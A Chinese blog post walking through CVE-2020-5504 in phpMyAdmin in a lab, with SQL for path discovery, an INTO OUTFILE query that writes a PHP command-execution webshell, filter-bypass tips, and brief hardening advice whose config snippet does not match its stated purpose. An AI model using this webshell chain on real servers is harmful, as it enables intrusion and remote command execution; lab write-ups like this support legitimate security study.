news 2026/6/11 12:31:53

【漏洞剖析-phpmyadmin-SQL注入】CVE-2020-5504:从预格式化文本到Webshell的实战路径

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
【漏洞剖析-phpmyadmin-SQL注入】CVE-2020-5504:从预格式化文本到Webshell的实战路径

1. 漏洞背景与环境搭建

phpMyAdmin作为最流行的MySQL数据库管理工具之一,长期受到安全研究人员的关注。CVE-2020-5504这个漏洞的特别之处在于,它完美展示了如何将一个看似无害的前端显示问题,转化为完整的服务器控制链条。我们先从实验环境搭建说起。

Vulfocus靶场提供了完美的复现环境,IP和端口配置简单明了。启动环境后,你会看到一个标准的phpMyAdmin登录界面,使用默认凭证root/123456即可进入。这里有个细节值得注意:现代phpMyAdmin版本通常会强制修改默认密码,但这个漏洞环境保留了原始配置,这本身就是一种安全隐患。

在实际渗透测试中,我遇到过不少管理员图省事使用弱密码的情况。有次审计某企业系统时,发现他们竟然用"admin/123456"管理着包含百万用户数据的数据库。这种安全意识薄弱的现象,往往就是安全漏洞的开始。

2. 漏洞触发点分析

漏洞的核心在于<pre>标签的异常处理。这个HTML标签本意是用来展示预格式化文本,比如代码片段。但在phpMyAdmin的特定版本中,它成为了SQL注入的突破口。

具体来说,当我们在SQL查询界面输入:

SELECT '<pre>';

系统会原样输出这个标签,而不是将其作为HTML元素渲染。这个现象看似普通,实则暴露了关键问题——用户输入未经充分过滤就直接输出。我在测试时发现,如果配合特定字符编码,甚至可以绕过部分过滤机制。

更危险的是,phpMyAdmin的查询结果显示机制存在缺陷。当查询结果包含特定格式的字符串时,会触发解析异常。有次我在客户现场测试,就利用类似的特性成功注入了恶意脚本。

3. 信息收集与路径探测

成功的攻击往往建立在充分的信息收集基础上。在这个漏洞利用过程中,我们需要获取两个关键路径:

  1. MySQL数据目录:
SELECT @@datadir;
  1. MySQL安装路径:
SELECT @@basedir;

在我的实战经验中,不同系统的默认路径差异很大。比如CentOS通常是/var/lib/mysql,而Windows服务器可能是C:\ProgramData\MySQL。有次遇到个特别的环境,管理员把数据库放在了/home目录下,花了我不少时间才找到。

确认路径后,可以用load_file函数验证网站绝对路径:

SELECT load_file('/var/www/html/pma/index.php');

这个技巧我在多个渗透测试项目中都用过。记得有次目标系统返回了403错误,但通过响应包大小差异(4KB左右),还是成功判断出了有效路径。

4. 漏洞利用与Webshell写入

掌握了路径信息后,真正的攻击开始了。利用MySQL的INTO OUTFILE功能,我们可以将PHP代码写入web目录:

SELECT '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE '/var/www/html/pma/shell.php'

这个操作有几个技术要点:

  1. 需要MySQL用户有FILE权限
  2. 目标目录必须可写
  3. 要避开可能的过滤机制

我在某次红队演练中就遇到个棘手情况:系统检测到"<?php"字符串会自动拦截。后来改用短标签<?=加上base64编码才绕过防护。

写入成功后,通过访问shell.php就能执行系统命令了。比如列出/tmp目录:

http://target/pma/shell.php?cmd=ls+/tmp

5. 防御建议与修复方案

站在防御者角度,我有几点实用建议:

  1. 及时更新phpMyAdmin到最新版本
  2. 限制MySQL用户的FILE权限
  3. 配置open_basedir限制PHP访问范围
  4. 对SQL查询结果进行严格的输出编码

有次帮客户做安全加固时,我们发现除了升级外,修改phpMyAdmin的配置文件限制导出功能也很有效。具体是在config.inc.php中添加:

$cfg['ExecTimeLimit'] = 300; $cfg['Export']['lock_tables'] = true;

6. 漏洞利用的延伸思考

这个漏洞的利用过程给我最大的启示是:安全是一个链条,任何一个环节的疏忽都可能导致全线崩溃。从最初的<pre>标签显示异常,到最后的系统命令执行,中间每个步骤都值得深入研究。

在实际渗透测试中,我经常遇到各种变体情况。比如有的环境禁用了INTO OUTFILE,但可以通过日志文件写入Webshell;有的服务器配置了严格的权限,但可以通过慢查询日志实现渗透。关键是要灵活运用各种技术手段。

记得有次特别有意思的案例:目标系统所有防护都很完善,但通过分析phpMyAdmin的错误日志,我们发现了管理员的操作记录,最终通过社会工程学完成了突破。这再次证明,在安全领域,技术手段和人的因素同样重要。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/11 12:30:53

[智能体-338]:langgraph-condition-edge:条件分支

from typing import TypedDict, Annotated import operator from langgraph.graph import StateGraph, START, END# 1. 定义全局状态 class AgentState(TypedDict):question: strneed_tool: bool # 标记&#xff1a;是否需要调用外部工具tool_output: str # 工具返…

作者头像 李华
网站建设 2026/6/11 12:28:06

适合B2B企业的GEO服务商推荐?先看5类服务商怎么选

适合B2B企业的GEO服务商&#xff0c;不能简单用“发稿多不多”“报价低不低”“平台覆盖广不广”来判断。B2B企业更应该看服务商是否能处理复杂产品、长决策链、官网信源、AI回答监测和持续优化。以径硕科技JINGGEO这类全链路GEO服务商为参照&#xff0c;真正适合B2B企业的服务…

作者头像 李华
网站建设 2026/6/11 12:27:54

5步实现AI视频自动生成:Pixelle-Video深度解析

5步实现AI视频自动生成&#xff1a;Pixelle-Video深度解析 【免费下载链接】Pixelle-Video &#x1f680; AI 全自动短视频引擎 | AI Fully Automated Short Video Engine 项目地址: https://gitcode.com/GitHub_Trending/pi/Pixelle-Video 在数字内容创作爆炸式增长的今…

作者头像 李华
网站建设 2026/6/11 12:25:59

烟台别墅装修公司:施工质量好的靠谱企业解析

烟台别墅装修公司哪家靠谱&#xff1f;5个维度解析施工质量好的本地企业“烟台装修中&#xff0c;别墅项目的施工质量是靠谱企业的核心护城河&#xff0c;选对团队才能避免百万投入打水漂”别墅装修因面积大、工艺复杂、个性化需求高&#xff0c;对施工质量的要求远高于普通住宅…

作者头像 李华
网站建设 2026/6/11 12:25:59

告别卡顿!用ViewPager2和Fragment打造丝滑的驾考题库App(附完整源码)

用ViewPager2和FragmentStateAdapter重构驾考题库App&#xff1a;从卡顿到丝滑的进阶实践每次在驾考题库App中翻页时遭遇卡顿&#xff0c;都像科目二考试时突然熄火一样令人焦虑。传统ViewPager配合Fragment的组合在复杂题库场景下逐渐暴露出性能瓶颈&#xff0c;而ViewPager2的…

作者头像 李华